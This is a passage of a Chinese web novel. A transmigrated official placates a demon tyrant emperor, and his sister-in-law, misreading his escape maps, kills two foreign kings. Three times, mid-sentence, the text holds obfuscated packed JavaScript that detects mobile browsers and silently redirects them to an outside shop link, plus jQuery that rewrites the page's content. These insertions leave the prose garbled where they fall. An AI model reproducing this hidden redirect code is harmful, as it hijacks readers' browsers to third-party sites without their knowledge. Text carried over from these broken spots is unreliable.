我刚才给陛下驱邪 十三年前。 “大力,你又在捣鼓什么呢?” 小符荔转动椅子,把架在椅背上的手甩开,拿起桌上的模型。 “哥,你看,这是爸给我买的机械模型,我花了半个月,终于把它拼好了。蜻蜓战机,启动!” “小孩子才玩的东西,这玩意儿有什么好的,连飞都不会飞。” “你看这齿轮,会咔嚓咔嚓动的哦,还会发红色激光,跟蜻蜓侠一样。” “我看看。” 大几岁的孩子不屑地拿过来左右看了看,“和蜻蜓侠比差远了。” “你又去哪里打架了,一手灰,把我的蜻蜓战机弄脏了,还给我。” “我再看看,这激光怎么发出来的。” “不要,跟你这混混说不明白。” “怎么连你都说我是混混,我是老大,知道吗,是管小弟的头儿,和混混不一样。” 符荔抢过他手里的蜻蜓战机,扭头就往客厅外面跑,才刚跑了几步,没看脚下的路,整个人摔倒在地上。 身后传来幸灾乐祸的笑声,“笨蛋,走路不知道看路……你把爸的摄像机给摔了。” 小符荔顾不得心疼刚拼好的战机散成碎片,惊恐地“呜哇——”一声哭了出来。 “都是你,在后面追我,我跌、跌倒了……摄像机……” 他哭得上气不接下气,大男孩开始还乐着,看他真怕了,赶忙道:“行了行,爱哭鬼,我帮你想点办法糊弄过去。” “摔坏了。”小符荔哽咽道,“再也……修不好了。” 蜻蜓战机的“尸体”碎片散落在摄像机上,红色的激光一闪一闪的,流淌了一地,刺眼得如同鲜血。 ———— 御书房内一片死寂。 “吓傻了?”殷扶灼看他半天不动弹。 符荔呼吸很轻,忍下喉头蔓延起来的作呕感,许久,终于开口,“不。” 殷扶灼伸出舌头,将唇上的浓稠感舔掉,“不什么?” 符荔眼里泛着泪光。 再也没有人,帮他分担闯祸后的过错了。 那些再也拼不完整的人…… 他心里明白,自己得做点什么,阻止这件的发生,自己不再是个孩子,不再是个少年。 他是个大人,一个能够扛责任、有担当的大人,不应该再这样,被吓得手足无措,呆呆得像个傻子。 他强迫自己深呼吸一口气,止住不断往下淌的泪。 “太医,来人!快来人!救命!”他嘴里急促地叫着,跑到殷扶灼跟前,捡起那把匕首。 殷扶灼抬高下巴,露出脖子。 接着,在他愕然的目光中,符荔割开自己的衣裳。 丢开刀,他拿着白稠布条,准备给他止血,却被一只抬起的血手阻止。 “你真的想死吗!”符荔破口大骂。 但紧接着他看到,手腕断口处有什么东西在蠕动。 肉眼可见地,耷拉着断了一半的手在重新恢复力量,伤口处有不明显的绿光闪过,在快速地愈合。 手脚四肢全都是。 符荔两手仍旧举着布条,僵在半空。 他这才想到,殷扶灼是谁,妖啊,书里被三十多个道士合力追击,被砍成臊子都能重新活蹦乱跳,拥有不死之身的存在。 这点小伤算什么。 想到这个,他的脑海清醒了过来。 刚才他要是真的捡起匕首去杀殷扶灼,下一刻,他才是被砍成臊子的那个。 “你还有半刻钟的时间。”殷扶灼看着他道,仿佛知道他在想什么,“现在我使不上多少力气,这是你最后的机会,但半刻钟后,我的手脚完全恢复,会立刻杀了你。” 锃亮的短刀落在两人之间的地上,反射出清冷的寒芒,还有他们对峙的眼。 符荔动作停顿了一下,把布丢到一边,站起身,打了个呵欠,“说什么呢,没听清。” 御书房外传来几个小太监急促赶来的脚步声,看到这一幕,顿时大叫起来。 符荔放下打呵欠的手,立刻焦急地转身,悲凄道:“陛下,你要挺住,千万别有事啊,你要是死了,你的家人……你的臣子尤其是一心为国为民誓死要守护好龙体安康的臣,要怎么活啊!” 殷扶灼:“……” 这人变脸速度,有些超出他的想象。 而且还很浮夸。 “滚!”殷扶灼不耐烦地朝赶来的小太监喝道。 那几个小太监顿时慌了神,不知进退。 “符大人,这是……” “陛下中邪了,我刚才给陛下驱邪,撒了点鸡血,把这里搞得有点不像话……”符荔两手互揣进左右袖子里,悠然道,“不管怎样,你看,现在好多了,陛下被我救活了。” 殷扶灼:“……” 他踉踉跄跄地站起来,目光阴鸷,“朕的话不管用了?” 小太监一看这副脸色,哪里还敢问这些鸡血是打哪儿来的,急忙告退。 “臣也告退。” “让你走了?” 符荔明明看到殷扶灼离他五六步远,转个身的功夫,那道寒凉萧瑟的声音仿佛在耳后丝丝吹气。 血腥味从身后左右涌来,怎么避都避不开,仿佛蠕虫一般,想要舔舐他的手臂肩膀,钻进鼻腔里,逼他咽下去,在骨骼里变成难以忍受的荆棘。 两只沾染鲜血的手从黑湿的袖口里伸出,朝他抓来。 若不是青天白日,知道殷扶灼看得见摸得着,他真的要以为撞鬼了。 “陛下饶命。”他皱着一张脸,眉头紧锁,双眼紧闭,喉咙里的声音带着哽咽颤抖。 诸邪退散,看不见我,看不见我…… 一秒,两秒…… 等了又等,始终没有濒死的感觉。 他眼睛眯开一条缝,确定没危险后,慢慢睁大。 看了看,脖子两侧果然有一双血手,有要将脖子拧断的趋势,却也只停留在半空。 符荔疑惑地扭头看向身后的人。 殷扶灼一点事都没有,不是因为体力不支对他下不了手。 暴君也没什么表情地看着他。 “没意思。”他收了手,转身朝御书房后面的偏殿走去。 刚从死亡线晃了一圈回来的符荔思绪还没转过来,被暴君的阴晴不定搞得茫然无措。 就这样……放过他了? “你还没走?”很快,殷扶灼换了一身灰色银丝绣广袖长袍,身上的血污已经消失得一干二净。 “……没来得及。” 这人是不是忘了,一炷香前他刚提出要走,这人就要来掐脖子,现在他敢走么。 可干站着也不是个事儿啊。 他主动出声,试探着问了句,“陛下,您的头难受吗?” “嗯?”殷扶灼喉咙滚出一字疑问。 “要不,臣给您按按?”符荔挤出满是讨好的笑。 都这么卖力讨生活了,别动不动就想杀他了。 殷扶灼眉毛扬了一下,似乎不屑,似乎警惕,眉头压得更低,逼问道:“你怎知朕头痛?” 因为他看了书。 书里写道,殷扶灼不单单是头痛,浑身血液犹如火焰在灼烧,经常痛到睡不着,后面通过同房后这才有所好转。 符荔当然不可能和殷扶灼同房,这种主角才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334874|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能犯的病,就跟霸总的胃病一样,必须要本书的主角受亲自解决才能有效。 但说出这等没有第二个人知道的秘辛,他是嫌自己活太久了。 “臣闻到了陛下身上的酒气,”他想到书里的内容,暗暗叹了口气,“陛下一定是有难以言表的苦衷,所以才喝了酒。既然喝了酒,肯定头会痛。” 殷扶灼一眼不眨地盯着眼前这个满眼无辜和讨好的男人。 不知道过了多久,直到符荔站着的双腿快要僵硬得没知觉,审视的阴冷目光终于高傲地抬起,皇帝陛下直起身子,看着他,慢慢地朝后面的御案退离。 一只帕子丢到符荔身上,他忙接住。 “擦手。” 好家伙,嫌他脏。 符荔抓着雪青色帕子,四周用金线绣着滚边,一角绣着几枝青竹叶,散发着馥郁的龙涎香。 “给朕揉揉。” 殷扶灼已经坐在了御案之后,瘫靠在椅子上。 格窗切出一方阳光,将他的脸庞一分为二,斜斜照亮了他的大半额头和左眼,还有他眼底隐隐溢出暴虐不耐烦的戾气。 还有几不可见的疲惫。 他耷拉着眼皮,望着桌上空余几滴残酒的瓷杯,眼底不经意间流露出摇摇欲坠的微光。 符荔不敢怠慢,仔细擦了遍手,随手将帕子塞进官服袖子里,轻手轻脚地绕到殷扶灼靠椅背后,食指和中指并拢,试探着触向他的额角。 殷扶灼闭上了眼睛,没有说话。 符荔用了点力气按压,慢慢打着转,不到一盏茶的时间,他感觉到椅子上的人全身肌肉舒缓了点。 随着时间越来越久,他开始感觉手疼。 王鸿恩低头走到门口,看到地上的残血,脚步犹豫了下,没有进殿。 “陛下,圣旨拟好了,请您过目……” “滚!” 一道奏疏飞了过来,隔了十几步的距离,那力道还是把他的额头砸出了血。 王鸿恩眼里飞快地闪过一丝愠怒,终究还是忍了下去,没说什么,道了声“是”后匆匆离开。 因为殷扶灼的动作,符荔松开了手,连忙活动手指,好死不死又被他看到。 “累了?” 他赶紧放下手,“臣不累。” 这暴君发什么疯,好端端的突然发怒。 “你也滚。”刚才显露出的温和霎时不复存在,肉眼可见地烦躁起来,“所有人都滚!” “好嘞,臣这就麻溜地滚。”符荔如蒙大赦,恨不得多长出两条腿加速。 之前就是滚慢了才被抓住的。 以前他觉得这个字眼有多冒犯,现在就觉得这字眼有多动听。 殷扶灼目光沉沉地看着消失在门口的背影,龙袖一挥,将桌上的笔墨悉数扫到地上。 听到这动静,符荔停下了脚步。 御书房门口的青石地面已经被冬日的暖阳晒得干燥,驱散了他体内残留的寒气,午后的阳光璀璨明媚,皇宫深处腐烂湿冷的风吹过来,都带着舒服的惬意。 符荔犹豫了下,脚尖比意识更先背叛自己,调转了方向。 “陛下。” 殷扶灼眼皮掀起,猩红的眸子盛满暴虐的苔藓。 可惜两人距离太远,远到符荔迟钝的神经触及不到。 他站在御书房外的台阶之下,沐浴着阳光,发梢和脸庞轮廓几乎被金芒消融,像一朵炸毛的蒲公英,带着毛绒绒的光晕。 如刀子一般地刺进殷扶灼的眼睛。 符荔两手紧张地攥住了身侧的白袍,脸上浮起一抹温柔的笑意,望向藏在阴影里模糊的他。 他张了张嘴,想要说什么。 11. 我的天才谋略 符荔本来想说什么,但一看到殷扶灼身体动了动,似乎想要抬手,立刻吓得一激灵,什么话都飞出脑海,赶紧一溜烟儿地扭头跑走了。 妈呀,妖怪要吃人了。 殷扶灼脸色比方才更阴沉了两分。 宫门口,五儿看到全须全尾出来的他,腿脚一软,崩溃地大哭起来。 “好了好了,你少爷没被陛下打死,又成功活过了一天。” 符荔拍拍他的肩膀,感慨今天又从暴君手底下逃过一劫。 “走,回家。” 他骑上驴子,一步三摇地走回家,天已经大黑,凛冽的冬风将他整个人都吹得发僵发硬,靠着五儿和赵细娘的搀扶才下了驴背。 “赶明儿给你买辆马车,气派,京都里那些有钱人家,还有当官儿的人都有马车,俺们荔哥儿也不能短了。”赵细娘乐呵呵道。 “行,买一辆,以后咱们一起上朝,都坐马车。”他迈步进屋,一大家子人手忙脚乱的,场面热闹得堪比过年。 “这是在干什么?” “好弟弟,你不是给如意某了个好差事吗?今晚收拾行李,明儿一早就出城。”符大苇声音比平日嘹亮了不少,一步三喘的身子骨看着都硬朗了。 “公公大人都说了,要轻装简行,这些花里胡哨的玩意儿就别带了。”许如意脸上的笑容就没落下过,差使着小叔子几个屋里屋外进进出出地收拾。 “明早收拾也不迟,这次出使两国就你一个人,什么时候出发还不是由你自己定。”符荔端过赵细娘的热糖水,吹了吹,往嘴里灌了一大口,这才感觉手脚有了知觉。 让许如意单枪匹马前去二国还是他提议的。 “呀,荔哥儿来了!快坐快坐。大家都别收拾了,咱们先吃饭。”许如意这才注意到他,扭着肥硕的腰身站在符荔的另一侧,踹了没眼色的自家男人一脚,“滚一边儿去,瞧着就碍眼。” 符大苇疼得龇牙咧嘴,不敢多说一个字,嘿嘿赔笑着让出了位子。 符荔这才知道,全家都在等他开饭,客气道:“你们先吃就行,不必等我。” “大家杯子先倒满酒,咱们先一起敬荔哥儿一杯。”许如意爽朗大笑道,“先是为娘谋了个官儿,现在也没忘记我这个大嫂,我一直就知道,咱们荔哥儿就是最有出息的,当了状元也不忘带我们一起升官发财!” “敬荔哥儿!”大家脸上笑吟吟一片。 “一家人说什么两家话。”符荔疏离地浅笑着。 “算命的说我能做官夫人,活到九十九,有享不完的福,”许如意连喝了好几杯酒,话不禁更多了起来,一整晚絮叨个不停,什么都说,“原先我以为嫁个书生有福享,没成想是我自己当官儿,以后谁见了我不得行礼称一声许大人。” “许大人好。” “许大人安。” “还听不习惯。”许如意打了个酒嗝,熏红的脸上难得有些羞赧。 “以后还要这么叫几十年,赶紧习惯习惯,要一直听到九十九呢。” 全家人乐成一团。 符荔突然想到,穿越这种玄学的事情都能发生,万一算命先生真算出来,许如意本来能活到九十九,自己把她害死了,她最多不就只能活六十岁了? 这岂不是害了她。 一口闷完了酒,他心里乱七八糟的,没滋没味地吃了几口菜,便说饱了,下桌回到自己屋里。 五儿给他打了一大盆热水,等洗漱完后,他想了想,来到书桌前,开始奋笔疾书。 楼下的吵闹声一直到戌时末,这才慢慢停歇。 符荔下了楼,看到忙碌收拾碗碟的几人,小声叫了声,“大嫂,过来一下。” 许如意手往围裙上擦了擦,疑惑地走到厅堂外,“咋的了?” 符荔侧过了身子,忸怩了下,递出手,“给你。” “这是什么?” “逃跑路线。”就当还了你昨日替原身骂邻居老头的恩情了。 “我要这玩意儿干啥?”许如意瞅了下,好几张硕大的纸,画的内容很详细。 符荔怕她不认字儿,拉她到烛灯下,一处一处指给她看,“这个,云烟皇宫守卫换值的时间,这个,西城门外的小路,可迂回到临城……” 书里大凉和云烟宵国也有摩擦,主角受受命出使别国,被云烟的摄政王看上了,逃脱不能,殷扶灼孤身将他从皇宫里救出,之后就是根据这个路线完美摆脱云烟国的夺命追捕。 窗外的小巷响起更夫的梆子声,时辰不早了,他也不好多留大嫂,心里有话,但面对比陌生人好不了多少的人,不知道该如何开口。 “此去一行,凶多吉少,我刚才说那么多,你,懂的吧?” 总不能说在皇帝面前提她当使臣是为了去送命,千里走单骑是为了让她送命送得更快点。 但他给了逃跑地图,生死有命,如果她还被杀,那就说明算命先生是忽悠人的,他就帮许如意到时候活到六十岁。 他这话暗示够明显了吧。 从送金子的秃顶那可知,早在八使臣身亡案前,云烟和大宵就开始谋划合作攻打大凉,不管谁去,这个使臣就是送死的。 “嗯嗯,懂的。” 他看许如意打着呵欠,一脸学渣样,不放心叮嘱道:“你记住了多少?” “上面写的都晓得,跟了你大哥好几年,总不能啥字也不认。”许如意强撑精神,楼下传来老二媳妇柳珠珠唤她的声音,她拔高声音应了一声,对符荔道,“都懂的,你让我从这到这再到这,都有线条和箭头画着呢。” “可能……有些地方也不是那么得准确,”这些都是靠他从书里的描写画出来的,也不知道有多少出入,“反正,你到时候随机应变。别硬碰硬,保命要紧,一看到苗头不对,就沿着这个路线跑,越远越好。” 他想来想去,总觉得不安心,苦口婆心道:“别傻傻被别国人害了性命,也别担心完不成任务会牵连到我们,家里有我,你尽管保住自己性命就行。” 到时候代表一国脸面的使臣逃跑,云烟大宵都以为大凉都是此等无能懦弱之辈,定然更无后顾之忧,连夜发兵,一举灭了大凉。 这样的话,国亡了,他能回去,许如意又不至于丢掉性命。 不愧是他,想出了这两全的办法。 楼下柳珠珠又在唤人。 “行,荔哥儿,你读书多,我都听你的。”许如意将地图珍而视之地折好揣进胸口内襟里,下了楼。 老二媳妇柳珠珠怪道:“荔哥儿喊你做甚呢?” “说了一堆云烟和大宵都城的情况,不愧是荔哥儿,千里开外的别国都城都能晓得一清二楚。” 许如意佩服不已,说着眉头浮起一丝费解,“读书人文化深,没咋听懂,我也没好意思问。他说让我迂回,这是甚意思?” “让你动动脑子,跟敌国人绕弯弯呢。”柳珠珠调笑道。 她是村里教书先生家不受宠的庶女,性子温婉,也是这个家除了符荔外学识最多的人。 “难怪他给我地图,还说什么随机应变,感情是要绕弯弯。他让我一遇到苗头不对就拿出来,能跑多远跑多远,我听了半天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334875|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不懂为啥要逃跑,还说啥凶多吉少。就凭我的嘴皮子,我不信还说不过那些个文绉绉的人。” 柳珠珠看了一眼,惊讶道:“这是云烟和大宵两国舆图,他竟然将这么重要的东西交给你!” “他是有说,这个代表云烟皇宫,这是大宵皇宫。” “我知道了。”柳珠珠两手一拍,明了道,“他是要你刺杀两国皇帝。” “啥?!”许如意傻眼了,“我?” 柳珠珠把她拉到屋子里,手指划动着纸上的黑线,认真分析道:“你想啊,这皇宫,你在这里杀完皇帝,顺着这路线逃出去,一路到大宵,又杀了皇帝,在顺着这路线逃回大凉,这一切不都串起来了吗?” “好有道理。”许如意惊异地点点头,“可我不是去当使臣的嘛,杀人干啥呢?我真的能说服他们不发兵来打我们,费那股子劲干什么,要没命的。” “否则他让你又是迂回又是逃跑的,还说凶多吉少,那是干啥?”柳珠珠道,“我爹说,两国交战,不斩来使,使臣是要被敌国当上宾礼节款待的,怎么可能遇到危险。只有一个可能,他明面上想让你出使两国,劝退两国兵马,实则是想搞暗杀。” 许如意目瞪口呆,“不可能吧。” 柳珠珠越发肯定自己的推断没有错,摇摇手指,成竹在胸道:“他是不是连家人的后事都交代了,让你没有后顾之忧?” “你怎么知道?” “这不就是了嘛,你去杀别国皇帝,万一不成功,那我们肯定要被关大牢砍头的。他提前安排好我们的去处,就是让你别担心我们,放心去刺杀,不管成功还是失败,最后都不会连累到我们。” “这么危险,我不去。”许如意脸色顿时拉了下来,“他也说了,凶多吉少,当时我竟然没听明白。” “大嫂,说书先生有句话说得好,富贵险中求。符荔为他娘谋了个差事,现在当了官,过上了好日子,虽然咱们现在和爹娘四弟关系好,一个姓,到底还是两家人。他日爹娘走了,四弟总不能扶持咱们三兄弟一辈子,早晚会甩了咱们这些穷亲戚。” 柳珠珠耐心劝道,“何况,荔哥儿还给你舆图了。他那么厉害,肯定早都安排好了。刺杀皇帝这种大事,肯定只有交给最信任的亲人才放心,你只要一五一十地按照他吩咐的做就成,事以密成,何况杀皇帝的大罪,这事你别声张,跟大哥都不能说,知道不?” “这能成么?”许如意心里打鼓。 看自己大嫂仍旧有些退缩,柳珠珠道:“荔哥儿是忠臣,你可不能临到了做出对不起荔哥儿名声的事情来。你说他不让爹去,不让我和三弟妹去,是什么原因,肯定是因为你适合。” “我能适合?” “你想想,杀人要不要力气?咱们这些人里,就属你力气最大。” “你性格是村里有名的泼辣,杀猪宰羊是一把好手,利落的很,还经历过人吃人的旱灾,宰两个人而已,你有这个胆子。” “你是个女人,看着朴实忠厚,穿个男子短打,肯定能迷惑到敌国人,到时候你再出其不意,宰了皇帝后,混入普通百姓人群里,人家将都城翻个底朝天都抓不着你,全身而退的机会很大。这活儿给你干再合适不过。” 这计划听起来的确可行。 心里一点底都没有的许如意牙一咬,心一横,“对,就是这个理儿,荔哥儿说我能杀皇帝,那我就杀俩皇帝给他看看!” 此时符荔坐在自己寝屋内,悠然自得地捧着一本杂谈趣闻,就着灯火看得津津有味。 天冷了,大凉,该凉凉了。 12. 搬新家啦 天空昏沉沉地往下压,地面一畦畦街坊宅邸只依稀看得清轮廓。 灯火清冷稀疏,入冬以来的第一场雪看来将要来临。 符荔早早擅自结束了公务,叫了五儿去牵马车。 整个御史台就他还有一个至今没看到人的主簿,浩如烟海的公务单靠他一个压根处理不完,万幸狗皇帝这一个月不知道得什么病,下不来床,王鸿恩去求仙药,连早朝都免了。 “少爷,原来你还记得今晚搬新家,夫人还不放心让我叮嘱你。” 符荔这才想起来,“都是白花花的银子啊,就这样浪费了。” 这段时间赵细娘几人在忙买新宅的事情,皇帝赏给他百两黄金和千两白银,用来买宅子绰绰有余。 为此他们费了好多时间,赵细娘是个心细的,一下衙署就跟着牙人整个京都到处逛,天天拿着图纸比对。 最后,他们在城东隆庆里挑了个五进的大宅子,花了两千多两银子。 听到这个价钱,符荔差点晕过去。 他一年俸禄也才几十两银子,就靠他的俸禄,打工一辈子都不可能买上这里的房子。 有这闲钱,藏在家里不好吗?国都快亡了。 不过,好处就是,府邸离皇宫的距离近了不少,加上赵细娘另外花了一百辆银子置办了辆普通的乌油篷顶马车,雇了个车夫,早起时间从之前的一个时辰缩短至三刻钟不到,可以多睡不少时间。 城东是不少达官显贵的宅子,这所宅子的前任主人是个富商,前段时间刚被获罪抄家,家产罚没,里头陈设空空,除了屋墙就没别的了,好在空置时间短,院外的杂草都没长,墙腻子都还是新刮不久的。 赵细娘他们都是一辈子粗人,哪里还会嫌弃前任主人落了罪,花了几天时间带大家将宅子里外清扫了一番,就挑了个搬家的良辰吉日住进来了。 当晚,符荔等人拿着旧宅子的簸箕扫帚和碗碟,柴火,到了吉时,一队人陆陆续续进了新家。 新宅子门口挂着匾额,写着方正的“符府”二字,进门就是一个宽敞的大院子,中间横竖是能通马车宽的石板路,四周种着不少花草树丛。 院子四周是客房,右侧是厨房、膳厅和粮库,厨房门口有一口大水井,可得赵细娘几个女眷稀罕了。 沿着中间的石板路走,正对门的大堂就是议事厅,正上方皇帝御笔提的匾额已经挂上去了。 顺着进门两侧的抄手游廊走,再进门就是符铁柱和几兄弟住的地方。 三进门后就是主院,最大间的主屋给符荔睡,旁边西厢房是他的书房、小会客厅以及库房。 主院布置着池子假山和茂丛修竹,平日里坐在廊下,摆一小桌茶点,冬观雪景夏赏花,很是惬意。 再往里走是女眷住的地方,最后的倒座房都是一些空置的库房和茅厕、马厩。 整个宅邸气派的很,比之前的条件好了不止一星半点。 “这椅子还带香味呢,真是长见识。”符大苇弯腰啃了一口椅子把手,稀罕得不得了。 “花了五十两银子置办的,你说香不香。”赵细娘乐呵呵道,“这才配得上我儿子的身份。” “这只是那户商贾人家的半座宅邸,怕京都人买不下这么大的府院,这才在花园中间隔了道墙,分开做两处卖。”柳珠珠道,“娘已经跟牙人说好了,回头等大嫂挣了功劳,有了银钱,大哥大嫂就去买下西边的宅子,再在墙上开道门,以后既是两家,也是一家。” “那感情好。”符大苇乐呵呵道。 符荔看自家父母一脸憧憬,还是没将话说出口。 国都快灭了,还买这么大的宅子干什么。 可惜赵细娘表面应承他倒是应承的好,扭头就把钱给了牙人。 “少爷,”五儿着急忙慌地进来,“宫、宫里召见。” 符荔心里一突,这么晚进宫,看来和谈有结果了。 许如意已经逃走,他得想个法子暂时先稳住狗皇帝几天,等两国攻破京都再说。 “如意回来了?定然是说服了别国国君退兵,我就知道,她的嘴皮子向来是最利索的,脑子又转的快。”赵细娘欢喜道,“咱们家的好日子是一茬接着一茬来啊。” 符大苇喜笑开怀,“我去芙蕖楼订桌好酒好菜,等如意回来。” “别订了,”符荔焦急道,“这些打包好的东西别解开,收拾好细软贴身放着,车马备好,低调点,别传出动静,等五儿回来传信,知道吗?” 看他一脸紧张,符家上下不由紧张起来。 “如意没事吧?”符大苇惴惴道。 “有荔哥儿在,怎会有事。”符铁柱来回踱步,看符荔的表情心也跟着悬起来,“不管怎样,听荔哥儿的就是了。” 他坐上马车往皇宫赶去,等到了皇宫门前,几个臣子和太监相携而来。 “恭喜符大人,贺喜符大人!” “符大人,快快里边请。” 符荔被这接连的“恭喜”弄得晕头转向,将信将疑地走到御书房。 许如意大马金刀地坐在一旁,头发濡湿,衣裳是新的宫装,看起来刚沐浴过的样子。没了那身挂满带子的榕树衣裳,人瞧着丰腴秀美,只是消瘦疲惫了不少。 空气中弥漫着一股若有似无的血腥气,还有冷冽的肃杀之威,掩藏在欢快的氛围之下,那是许如意身上还未散尽的杀意。 “不愧是符大人的族人,英勇善战,为我们大凉解决了后顾之忧啊。”郑允大笑道。 他现在是符荔的铁杆马屁精。 “咱们大凉有救了!” “苍天有眼,大凉出了如此能臣!” 符荔嘴角抽了抽,“你们确定不是在说反话讽刺挖苦我?” 看到许如意在场,他的心开始拔凉拔凉的了。 计划也许、应该、总不能发生了点小失误吧。 刑部尚书孙得志侃侃而谈道:“许如意,不,许大人,出使云烟大宵不足一月,先后斩下两国国君首级。云烟曾出动十万兵马追踪凶手,许大人在云烟七进七出,把敌人耍得团团转,最后还把锅甩到大宵的头上。现在两国乱成一锅粥,互相指责对方背信弃义,盟约撕毁,咱们大凉安全了!” 铁杆马屁精二号嘴里的话跟说书先生似的玄幻,符荔都要以为自己听错了。 他本来以为自己亲戚不是很靠谱,没想到太不靠谱了! “许大人实乃巾帼英雄,不费一兵一卒就扬我国威!” 萧亭辉道:“符荔,这就是你的不是了,这么惊才绝艳的计谋,应该早在之前就告诉我们才是,亏当初还有许多人反对。” 说着,他悠然看了一眼旁边沉默的吕恒。 符荔嘴角抽了抽。 呵呵,这种“惊才绝艳的计谋”,我比你还晚知道。 “现在你们也该知道,能与符大人同在朝为官,是吾等之大幸。”吕旻一板一眼地教育道,“我们能见到一位堪比诸葛孔明的相才用人决策,这是见证历史。” 郑允和孙得志深以为然点了点头。 符荔眼前黑了又一黑,强打精神,阻止了吕旻的无脑吹捧,小声问:“陛下又胡乱给我大嫂什么官了?” “鸿胪寺少卿,从五品。” 这么随便就给了,真的没事吗? 算了,他本来也盼着亡国,多点酒囊饭袋在朝中也不是坏事。 就是以后和自己亲娘大嫂一起上朝,感觉怪怪的。 “还御笔题字:单骑杀二王,千里定乾坤。”旁边一个臣子凑过来补充道,“符大人年纪轻轻,为自己家挣得满门荣耀,以后别忘了提拔我啊。” 吕旻曾说,原主和这人都是清流一派,属于忠贞为民的好官,与大将军秦才敬一党和阉党斗得那叫一个你死我活。 这派多数人忠心得顽固又死脑筋,一个个都是人肉炸弹,动不动就要以死明志,都是大凉如今还在大陆版图上的中坚力量。 眼前这人必须雪藏。 “您老到一旁歇着吧,冲锋陷阵有年轻人。” 能向皇帝举荐你才有鬼。 “之前我还担心符大人是任人唯亲,没想到是知人善用,是某狭隘了,实在自愧不如。”礼部尚书拱手朝他一拜。 “大人说笑了,我就想任人唯亲。”符荔尴尬地笑道。 “符大人可有意坐我的丞相一位?”萧亭辉转身对上首道,“陛下,符大人举荐有功,不得不赏。臣愿意让更加贤良的符大人担任左相一职,辅佐陛下完成统一大业。” 许如意疲惫的眼神亮了,“这感情好,我家荔哥儿能当丞相……” “不行!”符荔忙不迭拒绝。 他要是当丞相了,天天朝夕相处,岂不是更容易触怒暴君,亡命于此。 前任丞相就是因为有要事禀报,前脚刚进御书房,后脚被暴君丢进油锅里炸得酥脆,以至于和自己齐名,成为书里的一句话背景板。 “萧大人自担任丞相以来,忠君爱民,为国为臣,实乃天下文人名臣典范。臣年岁尚小,心性还需磨练,实在难堪此大任。”符荔推脱道,“陛下如果实在要赏,那便赏点俗物吧,臣是个俗人,就爱俗物。” 黄金白银哪个不比这个职位好。 吕恒不由侧目,之前一直觉得跟他儿子凑一块的都是呆子,没想到如此巧舌如簧。 再看自己儿子,整个读书读傻了的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334876|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “既然如此,符卿,”殷扶灼看着底下乌泱泱的一片人,“朕就赐你块令牌,日后可随时入宫,不必请示和等朕下旨召见。” 符荔笑容一僵。 你确定这是赏赐? “不喜欢?”殷扶灼皱眉。 “喜欢,臣喜欢得不得了,多谢陛下信任。”符荔强笑着接过了王鸿恩端上来的入宫令牌。 越看这人越讨厌。 殷扶灼看他一脸愁眉苦脸还要强撑笑意接下令牌,心里总算舒坦了些。 许如意杀死两国国君都没让他这么舒坦。 这赏赐赏没赏到符荔心里他不知道,却是实打实赏到自己的心坎上去了。 殷扶灼的精神仍旧不是很好,说了几句客套后便抬手挥退他们。 臣子们陆续走出来,那表情,又是为自己安然度过一天而庆幸。 只有符荔,捏着令牌,整个人都萎靡了。 “符大人留步。”一个小太监从宫里出来,一边小跑一边叫他的名字,“陛下有请……” 这话听在符荔耳里有如催命符一般,只当没听到,脚步加快,几步出了宫门。 “符大人近来圣眷正浓啊。”萧亭辉欣慰道。 这可是他的门生。 “萧大人从哪里看出来的?”符荔匪夷所思,眼睛水汪汪的,差点被刚才小太监的叫唤吓哭了。 “正好可借此机会,好好劝陛下处理政务,万不可沉迷于奢靡享乐之中。” 您老可消停会儿吧,我的小命才刚缓过来呢。 “符大人不要拒绝,这是陛下对你莫大的荣宠啊。”吕恒走了过来,一脸欣慰地拍着他的肩膀,忍不住笑了起来,“好好干,你不要左相,我吏部尚书的位子一定留给你。” “那还真是谢谢吕大人了。”怎么看这笑容都像是在幸灾乐祸。 等上了马车,许如意问符荔,“怎么得了奖赏还不开心了?以后能随便进出皇宫,那是陛下信任你,咱们距离封侯拜相又更近了一步。” 符荔看她斗志满满,问,“陛下除了给你官职,还赏了什么?” “百两黄金,千两白银,和娘一样。” 他也想要银子啊。 “明儿个我就把符府隔壁的宅子买下来,以后不用住在你家里了,咱们挨得近,又可以串门,和娘一起纳鞋底,讨论朝中趣事。” 两人一个欣喜一个忧愁回到了符府。 得了消息,全家老小都很开心。 符大苇道:“难怪荔哥儿让我们先别打开行李,原来是因为明天咱们就能住隔壁宅子了,这叫什么来着?” 柳珠珠接话,“先见之明。” “对,先见之明,荔哥儿太厉害了。” 符荔:“……” “万事听荔哥儿的准没错。”赵细娘一张脸笑出好几道褶子。 “荔哥儿,过来一下。”许如意将他叫到自己屋里。 